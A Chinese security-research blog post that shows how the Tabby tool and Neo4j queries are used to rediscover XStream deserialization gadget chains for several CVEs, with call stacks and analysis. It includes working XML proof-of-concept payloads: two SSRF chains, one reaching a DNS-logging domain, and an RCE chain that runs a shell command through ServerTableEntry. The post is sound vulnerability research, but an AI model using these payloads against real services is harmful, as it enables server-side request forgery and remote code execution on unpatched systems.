XStream反序列化（三）—

2021-08-29

月底在即，再不写点东西，每月一篇都要食言了。上个月刚挖的OpenRASP的坑，本打算再研究研究绕过姿势，验证下猜想，也没下文。正好6月份交的XStream SSRF Gadget CVE下来，之前XStream系列草稿箱里也待着之前逆向分析师傅们挖掘的思路&手法，正好编辑编辑，水一篇”如何挖掘XStream Gadgets”。

首先感谢Wh1t3p1g师傅的Tabby，用起来比gadgetinspector更顺手，找链神器。

Tabby

有关Tabby的介绍，详情可以参考【1】中Wh1t3p1g师傅的几个wiki，写的很详细了，这里也不多啰嗦。（这里膜一下Wh1t3p1g师傅）

Neo4j 查询比较吃cpu，小本本加上idea同时跑吃力，搞台vps跑比较好，但是tabby是通过apoc.load.csv file写Neo4j数据的，相当于限制了本机，因此给下整库的dump和load（当然，直接整个在vps上操作也是ok的）。

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# dump neo4j database
neo4j-admin dump --to /tmp/neo4j.dump --database neo4j
# scp dump file to vps

# load neo4j dump file
./bin/neo4j stop
./bin/neo4j-admin load --from=/root/neo4j.dump --database=neo4j --force
./bin/neo4j start

Gadgets结构

前文的众多的RCE Gadgets分析中发现Gadgets的结构大致分为：

Bullet：
实现最终的RCE

rce:

ProcessBuilder.start() 无参数
Runtime.getRuntime().exec(cmd) 有参
JdbcRowSetImpl.connect()/prepare()/getDatabaseMetaData()/setAutoCommit(var1) 无参
MethodClosure.call() 无参

ssrf:

java.net.URL#openConnection

核心中间链
中间链是整个寻找Gadgets的核心，简单的可能没有中间链，复杂的可能会组合使用

invoke 实现上有问题的 InvokeHandler，如
- EventHandler
- 搭配MethodClosure的ConvertedClosure
hashCode、compare、equal实现有问题的Map/Set/Queue，如
- Expando，hashCode搭配MethodClosure可以RCE
- CVE-2021-21345 ServerTableEntry verify方法可RCE
存在invoke，且method、obj可控的class（这一类普遍存在）
- CVE-2020-26217 ImageIO$ContainsFilter，filter方法内可控
- CVE-2021-21344 Accessor$GetterSetterReflection，get方法可控
- CVE-2021-21351 IncrementalSAXSource_Xerces parseSome方法内invoke可控
利用ClassLoader实例化
- ServiceLoader$LazyIterator，调用点为Class.forName (name,initialize,loader) ，指定loader为BCEL classLoaer
- CVE-2021-21347，调用点为loader.loadClass(name).newInstance()，利用java.net.URLClassLoader加载远程jar类并实例化
- CVE-2021-21350，和LazyIterator一样，利用BCEL classLoader

Trigger：
类似扳机的作用？整个链的起点

MapConverter/TreeSetConveter/TreeMapConveter都会触发这些集合/表内元素的内部函数，比如compare、hashCode、equals这些函数。
- MapConverter类型put对象时调用该对象的hashCode、equals、toString方法
- TreeSet调用put对象时调用该对象的compareTo方法
- PriorityQueue触发comparator属性中compare方法
DynamicProxyConverter 代理类，InvocationHandler可控，导致一些invoke存在RCE风险的InvocationHandler类，如EventHandler，可以加以利用。

CVEs

在了解了neo4j & tabby & Gadges组成的基础上，那就让我们尝试使用Tabby的挖掘XStream Gadgets。精力有限，以以下几个CVE为例（难易程度排序）

CVE-2021-21342
CVE-2021-39152
CVE-2021-21351
CVE-2021-21346
CVE-2021-21347/21350
CVE-2020-26217
CVE-2021-21344/21345

CVE-2021-21342

寻找Bullet

1	java.net.URL#openConnection

寻找中间链

1 2	//m0d9 xstream URLDNS match path=(m1:Method)-[r:CALL]-(m2:Method{NAME:"openStream",CLASSNAME:"java.net.URL"}) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS

节点很多，以javax.activation.URLDataSource$getInputStream 为例

upload successful

寻找Trigger

//m0d9 xstream URL URLData
match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where  m1.NAME="getOutputStream" and m1.CLASSNAME="javax.activation.URLDataSource"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 10) yield path 
return * limit 100

upload successful

POC

<java.util.PriorityQueue serialization="custom">
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class="sun.awt.datatransfer.DataTransferer$IndexOrderComparator">
        <order>false</order>
        <indexMap class="com.sun.xml.internal.ws.client.ResponseContext">
          <packet>
            <satellites class="java.util.IdentityHashMap" serialization="custom">
              <unserializable-parents/>
              <java.util.IdentityHashMap>
                <default>
                  <size>0</size>
                </default>
                <int>0</int>
              </java.util.IdentityHashMap>
            </satellites>
            <message class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart">
              <dataSource class="javax.activation.URLDataSource">
                <url>http://cve21342.xstream.1.dns.m0d9.me/</url>
              </dataSource>
            </message>
            <wasTransportSecure>false</wasTransportSecure>
            <isAdapterDeliversNonAnonymousResponse>false</isAdapterDeliversNonAnonymousResponse>
            <packetTakesPriorityOverRequestContext>false</packetTakesPriorityOverRequestContext>
            <invocationProperties/>
            <state>ServerRequest</state>
            <isFastInfosetDisabled>false</isFastInfosetDisabled>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

CVE-2021-39152

这个链应该是 ssrf最短的链了

寻找Bullet

1	java.net.URL#openConnection

寻找中间链

1 2	//m0d9 xstream URLDNS match path=(m1:Method)-[r:CALL]-(m2:Method{NAME:"openConnection",CLASSNAME:"java.net.URL"}) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS

节点很多，以jdk.nashorn.internal.runtime.Source$URLData#loadMeta 为例
upload successful

寻找Trigger

//m0d9 xstream URL URLData
match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where  m1.NAME="loadMeta" and m1.CLASSNAME="jdk.nashorn.internal.runtime.Source$URLData"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 10) yield path 
return * limit 100

upload successful

poc

<map>
  <entry>
    <jdk.nashorn.internal.runtime.Source_-URLData>
      <url>http://localhost:8080/internal/</url>
      <cs>GBK</cs>
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_-URLData>
    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
  </entry>
  <entry>
    <jdk.nashorn.internal.runtime.Source_-URLData>
      <url>http://localhost:8080/internal/</url>
      <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_-URLData>
    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
  </entry>
</map>

CVE-2021-21351

寻找核心调用链1

中间链以com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces#parseSome为例

upload successful

upload successful
发现method、class、args都可控，需要做的就是找到一条链

寻找核心调用链2

match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where m1.NAME="parseSome" and m1.CLASSNAME="com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",10) yield path 
return * limit 100

upload successful

调用栈

调用链如下

connect:615, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
parseSome:370, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
deliverMoreNodes:309, IncrementalSAXSource_Xerces (com.sun.org.apache.xml.internal.dtm.ref)
nextNode:814, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
_firstch:534, DTMDefaultBase (com.sun.org.apache.xml.internal.dtm.ref)
getStringValue:1294, SAX2DTM (com.sun.org.apache.xml.internal.dtm.ref.sax2dtm)
str:206, XRTreeFrag (com.sun.org.apache.xpath.internal.objects)
toString:312, XObject (com.sun.org.apache.xpath.internal.objects)
equals:391, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)
populateTreeMap:121, TreeMapConverter (com.thoughtworks.xstream.converters.collections)

CVE-2021-21346

核心调用链

match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where m1.NAME="createValue" and m1.CLASSNAME="sun.swing.SwingLazyValue"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",10) yield path 
return * limit 100

upload successful

调用栈

lookup:417, InitialContext (javax.naming)
doLookup:290, InitialContext (javax.naming)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createValue:73, SwingLazyValue (sun.swing)
getFromHashtable:216, UIDefaults (javax.swing)
get:161, UIDefaults (javax.swing)
get:64, MultiUIDefaults (javax.swing)
toString:197, MultiUIDefaults (javax.swing)
equals:391, XString (com.sun.org.apache.xpath.internal.objects)
compareTo:441, Rdn$RdnEntry (javax.naming.ldap)
compareTo:420, Rdn$RdnEntry (javax.naming.ldap)
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)

CVE-2020-21347/21350

21347/21350这两个类似，都是用NameProcessIterator自定义classloader加载，链也比较简单。

核心调用链1

1 2	match path=(sink:Method {IS_SINK:true, NAME:"loadClass"})<-[:CALL]-(m1:Method) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS order by m1.CLASSNAME

upload successful

核心调用链2

比较难搞的是hasNext关联Next，很容易关联到Trigger，造成误报

需要手动发现至SequenceInputStream.nextStream，然后参考CVE-2020-26217的ByteArrayOutputStreamEx链

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match path=(m1:Method{NAME:"hasNext",CLASSNAME:"com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator"})-[r:CALL|ALIAS*3..10]-(m2:Method) 
where m2.NAME in ["toString"]
return path limit 200

这部分的与之类似，不单独列了

调用栈

loadClass:131, ClassLoader (com.sun.org.apache.bcel.internal.util)
loadClass:357, ClassLoader (java.lang)
hasNext:409, JavacProcessingEnvironment$NameProcessIterator (com.sun.tools.javac.processing)
hasMoreElements:148, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:109, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
compare:153, ObservableList$1 (javafx.collections)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)

CVE-2020-26217

核心调用链1

match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where m1.NAME="filter" and m1.CLASSNAME="javax.imageio.ImageIO$ContainsFilter"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",10) yield path 
return * limit 100

upload successful

转接点

可以看到，只标注了部分的链，原因为javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator#nextElement->java.util.Enumeration#nextElement-> javax.naming.NameImpl#equals 无法走通。这种情况在后续的case种也会经常遇到，因为Java有多态特性，而ALIAS是纯静态分析。

上述链没办法打通Trigger，这个时候需要手动分析，发现java.io.SequenceInputStream#nextStream可以调用e.nextElement且e可控。如此，接着分析nextStream到Trigger的可行性。

核心调用链2

match (source:Method) where source.NAME in ["toString"]
match (m1:Method) where m1.NAME="nextStream" and m1.CLASSNAME="java.io.SequenceInputStream"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",8) yield path 
return * limit 100

upload successful

调用栈

start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect) [2]
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
filter:613, ImageIO$ContainsFilter (javax.imageio)
advance:834, FilterIterator (javax.imageio.spi)
next:852, FilterIterator (javax.imageio.spi)
nextElement:153, MultiUIDefaults$MultiUIDefaultsEnumerator (javax.swing)
nextStream:110, SequenceInputStream (java.io)
read:211, SequenceInputStream (java.io)
readFrom:65, ByteArrayOutputStreamEx (com.sun.xml.internal.bind.v2.util)
get:182, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
toString:286, Base64Data (com.sun.xml.internal.bind.v2.runtime.unmarshaller)
getStringValue:121, NativeString (jdk.nashorn.internal.objects)
hashCode:117, NativeString (jdk.nashorn.internal.objects)
hash:339, HashMap (java.util)
put:612, HashMap (java.util)

CVE-2021-21344/21345

21344/21345的这个Gadgets核心在DataTransferer$IndexedComparator到GetterSetterReflection的流程，流程比较复杂

调用栈

verify:173, ServerTableEntry (com.sun.corba.se.impl.activation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:343, Accessor$GetterSetterReflection (com.sun.xml.internal.bind.v2.runtime.reflect)
serializeURIs:402, ClassBeanInfoImpl (com.sun.xml.internal.bind.v2.runtime)
childAsXsiType:662, XMLSerializer (com.sun.xml.internal.bind.v2.runtime)
write:256, MarshallerImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:89, BridgeImpl (com.sun.xml.internal.bind.v2.runtime)
marshal:130, Bridge (com.sun.xml.internal.bind.api)
marshal:161, BridgeWrapper (com.sun.xml.internal.ws.db.glassfish)
writeTo:109, JAXBAttachment (com.sun.xml.internal.ws.message)
asInputStream:99, JAXBAttachment (com.sun.xml.internal.ws.message)
getInputStream:125, JAXBAttachment (com.sun.xml.internal.ws.message)
getMessage:366, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:465, XMLMessage$XMLMultiPart (com.sun.xml.internal.ws.encoding.xml)
getAttachments:103, MessageWrapper (com.sun.xml.internal.ws.api.message)
get:111, ResponseContext (com.sun.xml.internal.ws.client)
compareIndices:2492, DataTransferer$IndexedComparator (sun.awt.datatransfer)
compare:2971, DataTransferer$IndexOrderComparator (sun.awt.datatransfer)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)

寻找核心中间链1

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//m0d9 xstream Runtime.exec
match path=(m1:Method{NAME:"exec",CLASSNAME:"java.lang.Runtime"})<-[r:CALL]-(m2:Method) 
return path

upload successful
如图，com.sun.corba.se.impl.activation.ServerTableEntry#verify

尝试寻找Trigger

match (source:Method) where source.NAME in ["compare","hashCode","equals","compareTo","toString"]
match (m1:Method) where m1.NAME="verify" and m1.CLASSNAME="com.sun.corba.se.impl.activation.ServerTableEntry"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",13) yield path 
return * limit 100

但是无果，无法直接串联

寻找核心中间链2

有一种核心中间链，proxy类，存在invoke，且method、obj可控的

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// invoke
match path=(sink:Method {IS_SINK:true, NAME:"invoke"})<-[:CALL]-(m1:Method) return m1.CLASSNAME,m1.NAME,m1.PARAMETERS
order by m1.CLASSNAME

都过一遍，可以得出类似以下可控的类

upload successful

寻找核心中间链3

match (source:Method) where source.NAME in ["compare"]
match (m1:Method) where m1.NAME="get" and m1.CLASSNAME="com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",16) yield path 
return * limit 100

upload successful

寻找核心中间链4

match (source:Method) where source.NAME in ["compare"]
match (m1:Method) where m1.NAME="marshal" and m1.CLASSNAME="com.sun.xml.internal.bind.v2.runtime.BridgeImpl"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",12) yield path 
return * limit 100

upload successful

寻找核心中间链4

match (source:Method) where source.NAME in ["compare"]
match (m1:Method) where m1.NAME="getInputStream" and m1.CLASSNAME="com.sun.xml.internal.ws.message.JAXBAttachment"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",12) yield path 
return * limit 100

upload successful

寻找核心中间链5

match (source:Method) where source.NAME in ["get"] 
match (m1:Method) where m1.NAME="getInputStream" and m1.CLASSNAME="com.sun.xml.internal.ws.message.JAXBAttachment"
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS",5) yield path 
return * limit 100

upload successful

poc

原理及分析可以看上一篇

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
                          <name>verify</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference='../..'/>
                      </marshallerPool>
                      <nameList>
                        <nsUriCannotBeDefaulted>
                          <boolean>true</boolean>
                        </nsUriCannotBeDefaulted>
                        <namespaceURIs>
                          <string>1</string>
                        </namespaceURIs>
                        <localNames>
                          <string>UTF-8</string>
                        </localNames>
                      </nameList>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
                  <activationCmd>open /Applications/Calculator.app</activationCmd>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

小结

本文从Gadget挖掘角度，使用tabby复现了2个Gadget的挖掘过程，ssrf的2个链很简单，rce有些个比较复杂，最短路径算法不能直接串起。这些个链的重点在于中间核心链路的组装，本菜🐔也只能倒推出部分节点，还有一些关键转折点如果在不知情的情况下自己来，大概率是发现不了的。

其他思考&总结

apoc.algo.allSimplePaths 是最短路径，有最短就不会列出其他的，而最短的不一定是有效的，导致可能会漏（也可以搭配[r:CALL|ALIAS*5..8]使用）。
中间核心链路的组装，因为invoke等不能自动串起，需要积累。
21342、21345 可以看出还有其他的路径，是否也可行？（等有精力再验证下吧😓）

最后再次感谢wh1t3p1g师傅，用tabby混了个cve，也逆向复现了这些Gadgets的挖掘思路。

1.4.17新出那些其他的Gadgets，还没空分析如何找到链的，等有精力再水一节吧。